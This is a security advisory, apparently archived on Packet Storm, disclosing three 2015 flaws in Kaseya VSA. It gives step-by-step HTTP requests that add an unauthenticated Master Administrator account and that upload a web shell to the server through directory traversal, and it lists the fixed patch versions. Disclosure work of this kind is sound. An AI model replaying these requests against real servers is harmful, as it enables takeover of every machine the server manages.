exploit the possibilities

Kaseya Virtual System Administrator Code Execution / Privilege Escalation

Kaseya Virtual System Administrator Code Execution / Privilege Escalation
Posted Sep 30, 2015
Authored by Pedro Ribeiro

Kaseya Virtual System Administrator suffers from multiple code execution vulnerabilities and a privilege escalation vulnerability. VSA versions 7.0.0.0 through 7.0.0.32, 8.0.0.0 through 8.0.0.22, 9.0.0.0 through 9.0.0.18, and 9.1.0.0 through 9.1.0.8 are affected.

tags | exploit, vulnerability, code execution
advisories | CVE-2015-6589, CVE-2015-6922
MD5 | c5ce0ad42b5f4e9209f7d699f7abb8c9

Kaseya Virtual System Administrator Code Execution / Privilege Escalation

Change Mirror Download
Hi,

I have found 3 vulnerabilities in Kaseya's flagship product:
- unauthenticated remote code execution (CVE-2015-6922 / ZDI-15-449)
- unauthenticated remote privilege escalation (CVE-2015-6922 / ZDI-15-448)
- authenticated remote code execution (CVE-2015-6589 / ZDI-15-450)

Kaseya VSA is an IT management platform for small and medium corporates.
From its console you can control thousands of computers and mobile
devices. So that if you own the Kaseya server, you own the organisation.
With this post I'm also releasing two Metasploit modules ([E1], [E2])
and a Ruby file ([E3]) that exploit the vulnerabilities described below.

A special thanks to ZDI for assisting with the disclosure of these
vulnerabilities. The full advisory text is below, but can also be
obtained from my repo at [E4].

[E1] https://github.com/rapid7/metasploit-framework/pull/6018
[E2] https://github.com/rapid7/metasploit-framework/pull/6019
[E3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb
[E4]
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt

Regards,
Pedro

============

>> Multiple vulnerabilities in Kaseya Virtual System Administrator
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information
Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 23/09/2015 / Last updated: 28/09/2015

>> Background on the affected product:
"Kaseya VSA is an integrated IT Systems Management platform that can be
leveraged seamlessly across IT disciplines to streamline and automate
your IT services. Kaseya VSA integrates key management capabilities into
a single platform. Kaseya VSA makes your IT staff more productive, your
services more reliable, your systems more secure, and your value easier
to show."

A special thanks to ZDI for assisting with the vulnerability reporting
process.
These vulnerabilities were disclosed by ZDI under IDs ZDI-15-448 [1],
ZDI-15-449 [2] and ZDI-15-450 [3] on 23/09/2015.


>> Technical details:
#1
Vulnerability: Remote privilege escalation (add Master Administrator
account - unauthenticated)
CVE-2015-6922 / ZDI-15-448
Affected versions:
VSA Version 7.0.0.0 – 7.0.0.32
VSA Version 8.0.0.0 – 8.0.0.22
VSA Version 9.0.0.0 – 9.0.0.18
VSA Version 9.1.0.0 – 9.1.0.8

GET /LocalAuth/setAccount.aspx
Page will attempt to redirect, ignore this and obtain the "sessionVal"
value from the page which will be used in the following POST request.

POST /LocalAuth/setAccount.aspx
sessionVal=<sessionVal>&adminName=<username>&NewPassword=<password>&confirm=<password>&adminEmail=bla@bla.com&setAccount=Create

You are now a Master Administrator and can execute code in all the
managed desktops and mobile devices.
A Metasploit module that exploits this vulnerability has been released.


#2
Vulnerability: Remote code execution via file upload with directory
traversal (unauthenticated)
CVE-2015-6922 / ZDI-15-449
Affected versions:
VSA Version 7.0.0.0 – 7.0.0.32
VSA Version 8.0.0.0 – 8.0.0.22
VSA Version 9.0.0.0 – 9.0.0.18
VSA Version 9.1.0.0 – 9.1.0.8

First we do:
GET /ConfigTab/serverfiles.asp
which will respond with a 302 redirect to /mainLogon.asp?logout=<sessionID>
Thanks for creating a valid sessionID for us, Kaseya!

POST
/ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=shell.asp
Cookie: sessionId=<sessionID>
<... ASP shell here...>

The path needs to be correct, but Kaseya is helpful enough to let us
know when a path doesn't exist.
A Metasploit module that exploits this vulnerability has been released.


#3
Vulnerability: Remote code execution via file upload with directory
traversal (authenticated)
CVE-2015-6589 / ZDI-15-450
Affected versions:
VSA Version 7.0.0.0 – 7.0.0.32
VSA Version 8.0.0.0 – 8.0.0.22
VSA Version 9.0.0.0 – 9.0.0.18
VSA Version 9.1.0.0 – 9.1.0.8

Login to the VSA console and obtain ReferringWebWindowId from the URL
(wwid parameter).
Create a POST request as below with the ReferringWebWindowId:

POST /vsapres/web20/json.ashx HTTP/1.1
Content-Type: multipart/form-data;
boundary=---------------------------114052411119142
Content-Length: 1501

-----------------------------114052411119142
Content-Disposition: form-data; name="directory"

../WebPages
-----------------------------114052411119142
Content-Disposition: form-data; name="ReferringWebWindowId"

31a5d16a-01b7-4f8d-adca-0b2e70006dfa
-----------------------------114052411119142
Content-Disposition: form-data; name="request"

uploadFile
-----------------------------114052411119142
Content-Disposition: form-data; name="impinf__uploadfilelocation";
filename="shell.asp"
Content-Type: application/octet-stream

<... ASP shell here...>

-----------------------------114052411119142--

A Ruby exploit (kazPwn.rb) that abuses this vulnerability has also been
been released [4].


>> Fix:
V7 – Install patch 7.0.0.33
R8 – Install patch 8.0.0.23
R9 – Install patch 9.0.0.19
R9.1 – Install patch 9.1.0.9


>> References:
[1] http://zerodayinitiative.com/advisories/ZDI-15-448/
[2] http://zerodayinitiative.com/advisories/ZDI-15-449/
[3] http://zerodayinitiative.com/advisories/ZDI-15-450/
[4] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>

Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    13 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    29 Files
  • 21
    Jan 21st
    12 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close